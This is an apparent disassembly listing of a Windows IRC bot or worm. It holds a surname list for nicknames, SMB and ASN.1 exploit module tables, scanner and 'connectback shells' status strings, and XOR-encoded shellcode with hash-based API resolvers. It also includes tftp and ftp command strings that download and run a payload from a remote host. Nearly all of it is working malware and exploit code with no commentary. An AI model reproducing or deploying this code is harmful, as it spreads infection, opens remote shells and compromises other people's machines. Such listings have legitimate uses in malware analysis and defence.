		align 10h
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DDC0o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DDBCo
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DDB8o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DDB4o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DDB0o
aBady		db 'Bady',0             ; DATA XREF: ___:0042DDACo
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DDA8o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DDA4o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042DDA0o
		align 10h
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DD9Co
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DD98o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DD94o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DD90o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DD8Co
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DD88o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DD84o
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DD80o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042DD7Co
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DD78o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DD74o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DD70o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DD6Co
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DD68o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DD64o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DD60o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DD5Co
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DD58o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DD54o
		align 10h
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042DD50o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042DD4Co
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042DD48o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042DD44o
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042DD40o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042DD3Co
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042DD38o
		align 10h
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042DD34o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042DD30o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042DD2Co
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042DD28o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042DD24o
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042DD20o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042DD1Co
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042DD18o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042DD14o
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042DD10o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042DD0Co
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042DD08o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042DD04o
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042DD00o
		align 10h
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42DCFCo
aAdams		db 'Adams',0            ; DATA XREF: ___:0042DCF8o
		align 10h
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042DCF4o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42DCF0o
		align 4
byte_431948	db 50h			; DATA XREF: ___:0040ADF0o
					; ___:0040ADFDr
		db 43h,	2 dup(0)
dword_43194C	dd 7C7325h		; DATA XREF: ___:0040AE9Bo
dword_431950	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA5o
dword_431958	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Co
					; sub_41AA43:loc_41AB06o
dword_43195C	dd 334B32h		; DATA XREF: ___:0040AF95o
dword_431960	dd 5058h		; DATA XREF: ___:0040AF87o
					; sub_41AA43+AAo
dword_431964	dd 4B32h		; DATA XREF: ___:0040AF77o
					; sub_41AA43+98o
dword_431968	dd 454Dh		; DATA XREF: ___:0040AF5Eo
					; sub_41AA43+7Eo
dword_43196C	dd 3839h		; DATA XREF: ___:0040AF4Eo
					; sub_41AA43+6Co
dword_431970	dd 544Eh		; DATA XREF: ___:0040AF3Eo
					; sub_41AA43+5Ao
dword_431974	dd 3539h		; DATA XREF: ___:0040AF30o
					; sub_41AA43+46o
dword_431978	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEB+3Ao
off_431980	dd offset byte_5D4D5B	; DATA XREF: sub_40AFEB+2Co
					; sub_40AFEB+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEB+18o
					; sub_418212+5o
		align 4
		jmp	short loc_431990
; ---------------------------------------------------------------------------


loc_43198E:				; CODE XREF: ___:loc_431990p
		jmp	short loc_431995
; ---------------------------------------------------------------------------


loc_431990:				; CODE XREF: ___:0043198Cj
		call	loc_43198E


loc_431995:				; CODE XREF: ___:loc_43198Ej
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_43199C:				; CODE XREF: ___:004319A1j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_43199C
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_4319B2:				; CODE XREF: ___:004319B7j
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4319B2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_431A54
		jnz	short loc_431A40
		retn
; ---------------------------------------------------------------------------


loc_431A40:				; CODE XREF: ___:00431A3Dj
					; ___:00431A4Dj
		call	near ptr loc_431A45+1


loc_431A45:				; CODE XREF: ___:loc_431A40p
		add	[edx+0], ch
		call	sub_431A54
		jz	loc_431A40
		retn

; =============== S U B	R O U T	I N E =======================================



sub_431A54	proc near		; CODE XREF: ___:00431A38p
					; ___:00431A48p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_431A54	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B385+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B385+35o
		align 8
aSym		db 'sym',0              ; DATA XREF: sub_40C125+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DB+30o
		align 4
		dd 5 dup(0)
dword_431B00	dd 0B97h		; DATA XREF: sub_401ACD+1DA1r
					; sub_401ACD+1DCAo ...
off_431B04	dd offset sub_40E0D1	; DATA XREF: sub_40C125+1EAr
dword_431B08	dd 0			; DATA XREF: sub_40B64B+2Eo
					; ___:0040D496w ...
dword_431B0C	dd 1			; DATA XREF: sub_40BACE+1Fr
dword_431B10	dd 1			; DATA XREF: sub_40BACE+3B3r
dword_431B14	dd 0			; DATA XREF: sub_40BACE+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E207h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 10h
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Fh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 10h
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Fh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 10h
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2DAh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 10h
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2DAh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 10h
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2DAh, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 10h
		db 2 dup(0)
byte_431CE2	db 1			; DATA XREF: sub_401ACD:loc_4037E7r
					; sub_401ACD+1D24o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431D0E

; =============== S U B	R O U T	I N E =======================================



sub_431CFE	proc near		; CODE XREF: sub_431CFE:loc_431D0Ep
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_431D06:				; CODE XREF: sub_431CFE+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431D06
		jmp	short loc_431D13
; ---------------------------------------------------------------------------


loc_431D0E:				; CODE XREF: ___:00431CFCj
		call	sub_431CFE


loc_431D13:				; CODE XREF: sub_431CFE+Ej
		jo	short near ptr dword_431C9C+12h
		cwde
		cdq
		cdq
		retn
sub_431CFE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64B+86o
		align 10h
dword_431E90	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64B+46o
unk_431E9C	db  2Dh	; -		; DATA XREF: sub_40B64B+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431EBC	db  2Dh	; -		; DATA XREF: sub_40B71A+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431F04	db  2Dh	; -		; DATA XREF: sub_40B786+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 10h
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DB+7Fo
dword_431F40	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DB+40o
dword_431F50	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DB+14o
		dd 7473694Ch, 3Ah
unk_431F6C	db  2Dh	; -		; DATA XREF: ___:0040BA14o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431FA0	db  2Dh	; -		; DATA XREF: ___:0040B922o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
unk_431FD0	db  2Dh	; -		; DATA XREF: sub_40BA57+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_431FF0	db  2Dh	; -		; DATA XREF: sub_40BA57+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_43200C	db  2Dh	; -		; DATA XREF: sub_40BACE+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_432040	db  2Dh	; -		; DATA XREF: sub_40BACE+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_432078	db  2Dh	; -		; DATA XREF: sub_40BACE+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_4320A8	db  2Dh	; -		; DATA XREF: sub_40BACE+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4320DC	db  2Dh	; -		; DATA XREF: sub_40BACE+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
unk_432110	db  2Dh	; -		; DATA XREF: sub_40BACE+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_432144	db  2Dh	; -		; DATA XREF: sub_40C125+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_43216C	db  2Dh	; -		; DATA XREF: sub_40C125+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_4321A4	db  2Dh	; -		; DATA XREF: sub_40C125+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_4321E4	db  2Dh	; -		; DATA XREF: sub_40C125+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_43221C	db  2Dh	; -		; DATA XREF: sub_40C125+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_432250	db  2Dh	; -		; DATA XREF: sub_40C125+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_432284	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59C+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADB+B2o
		align 4
dword_432338	dd 10FF8h, 0		; DATA XREF: sub_40CADB+6Ao
dword_432340	dd 10FF8h		; DATA XREF: sub_40CADB+79o
dword_432344	dd 7FFDF020h, 0		; DATA XREF: sub_40CADB+162o
dword_43234C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF05+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4323D4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF05+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_432404	dd 0			; DATA XREF: sub_40CF05+44o
		dd 800000D4h, 0
unk_432410	db  81h	; 		; DATA XREF: sub_40CFDF+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_43245C	db 41h			; DATA XREF: sub_40D07D+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4324A0	proc near		; DATA XREF: ___:0040D35Co
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_43259C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4325B2
		mov	[esi+8], eax
		call	sub_432565
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4325B2
		mov	[esi+0Ch], eax
		call	sub_432517
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4325B2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4324A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_432517	proc near		; CODE XREF: sub_4324A0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432540
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_432517	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432540	proc near		; CODE XREF: sub_432517+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_43254F:				; CODE XREF: sub_432540+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_43255C
		inc	ebx
		jmp	short loc_43254F
; ---------------------------------------------------------------------------


loc_43255C:				; CODE XREF: sub_432540+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432540	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432565	proc near		; CODE XREF: sub_4324A0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_43257D:				; CODE XREF: sub_432565+1Ej
		cmp	[ecx], ebx
		jz	short loc_432585
		mov	ecx, [ecx]
		jmp	short loc_43257D
; ---------------------------------------------------------------------------


loc_432585:				; CODE XREF: sub_432565+1Aj
		mov	edx, edi


loc_432587:				; CODE XREF: sub_432565+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432591
		mov	edx, [edx+4]
		jmp	short loc_432587
; ---------------------------------------------------------------------------


loc_432591:				; CODE XREF: sub_432565+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_432565	endp


; =============== S U B	R O U T	I N E =======================================



sub_43259C	proc near		; CODE XREF: sub_4324A0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_43259C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4325B2	proc near		; CODE XREF: sub_4324A0+16p
					; sub_4324A0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4325C8:				; CODE XREF: sub_4325B2+33j
		jecxz	short loc_432602
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4325D5:				; CODE XREF: sub_4325B2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4325E1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4325D5
; ---------------------------------------------------------------------------


loc_4325E1:				; CODE XREF: sub_4325B2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4325C8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_432602:				; CODE XREF: sub_4325B2:loc_4325C8j
					; sub_4325B2:loc_432602j
		jmp	short loc_432602
sub_4325B2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_432608	proc near		; DATA XREF: ___:0040D30Ao

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_43265A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_432625:				; CODE XREF: sub_432608+38j
		jecxz	short loc_432655
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432630:				; CODE XREF: sub_432608+32j
		lodsb
		test	al, al
		jz	short loc_43263C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432630
; ---------------------------------------------------------------------------


loc_43263C:				; CODE XREF: sub_432608+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_432625
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_432655:				; CODE XREF: sub_432608:loc_432625j
		mov	[esp+arg_0], ebx
		retn
sub_432608	endp


; =============== S U B	R O U T	I N E =======================================



sub_43265A	proc near		; CODE XREF: sub_432608+7p

; FUNCTION CHUNK AT 00432692 SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_432673
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_43267E
; ---------------------------------------------------------------------------


loc_432673:				; CODE XREF: sub_43265A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_43267E:				; CODE XREF: sub_43265A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_432692
sub_43265A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432685	proc near		; CODE XREF: sub_43265A:loc_432692p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_432685	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43265A


loc_432692:				; CODE XREF: sub_43265A+29j
		call	sub_432685


loc_432697:				; DATA XREF: sub_40CADB+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_43265A
; ---------------------------------------------------------------------------
		dw 0
dword_43269C	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADB+2F5o
dword_4326A8	dd 30h			; DATA XREF: sub_40CADB+2CAo
dword_4326AC	dd 0A1h			; DATA XREF: sub_40CADB+29Fo
dword_4326B0	dd 3			; DATA XREF: sub_40CADB+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADB+153o
		align 4


loc_4326BC:				; DATA XREF: sub_40CADB+E8o
		jmp	short near ptr dword_4326C4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4326C4	dd 0			; CODE XREF: ___:loc_4326BCj
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D331o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
dword_432730	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Co
; ---------------------------------------------------------------------------


loc_43273C:				; CODE XREF: ___:00432746j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_43273C
		inc	edi
		jz	short loc_432783
